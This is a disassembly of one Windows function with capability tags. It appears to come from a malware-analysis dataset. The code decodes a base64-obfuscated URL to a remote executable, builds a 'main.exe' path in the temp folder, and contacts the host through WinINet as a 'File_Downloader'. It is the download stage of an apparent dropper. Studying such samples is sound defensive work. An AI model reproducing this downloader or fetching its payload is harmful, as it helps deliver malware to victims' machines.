Function at 0x140001520
Capabilities:
Create http request
Get common file path
Query remote server for available data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0xe8]
sub rsp, 0x1e0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xb0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov ecx, 0x60
call fcn.140001d50
mov rcx, rax
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [0x140003460]
movdqu xmmword [rbp - 0x78], xmm0
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRodWIuY29tL0F2ZWxyaWFUZWNobm9sb2d5L21haW4vcmF3L3JlZnMvaGVhZHMvYS9tYWluLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400033d0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400033e0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400033f0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140003400]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x140003410]
movsd qword [rax + 0x50], xmm0
mov eax, dword [0x140003418]
mov dword [rcx + 0x58], eax
mov byte [rcx + 0x5c], r14b
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x58]
call fcn.1400011c0
nop
lea rdx, [rbp - 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp - 0x60]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001610
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001950
cmp rbx, 0xf
ja 0x14000165b
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x1400016f3
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001694
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001d50
test rax, rax
je 0x14000179d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400016d1
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400016b1
mov rsi, r14
jmp 0x1400016d1
cmp rcx, 0x1000
jb 0x1400016c9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001956
jmp 0x140001675
call fcn.140001d50
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x14000173b
lea rax, [rcx + 8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
movabs rdx, 0x6578652e6e69616d
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rsp + 0x30]
jmp 0x140001753
mov qword [rsp + 0x20], 8
mov edx, 8
lea rcx, [rsp + 0x30]
call fcn.140001b90
movups xmm7, xmmword [rax]
movups xmm6, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400017a9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d8c
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x14000180c
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140001852
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14d, 1
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 0xf
jbe 0x140001885
inc rdx
movq rcx, xmm7
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000187f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000187f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x50], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001812
call fcn.140001d8c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400018c5
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d8c
movdqa xmm0, xmmword [0x140003450]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140001917
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001912
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001912
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d8c
mov eax, r14d
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.140001d30
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3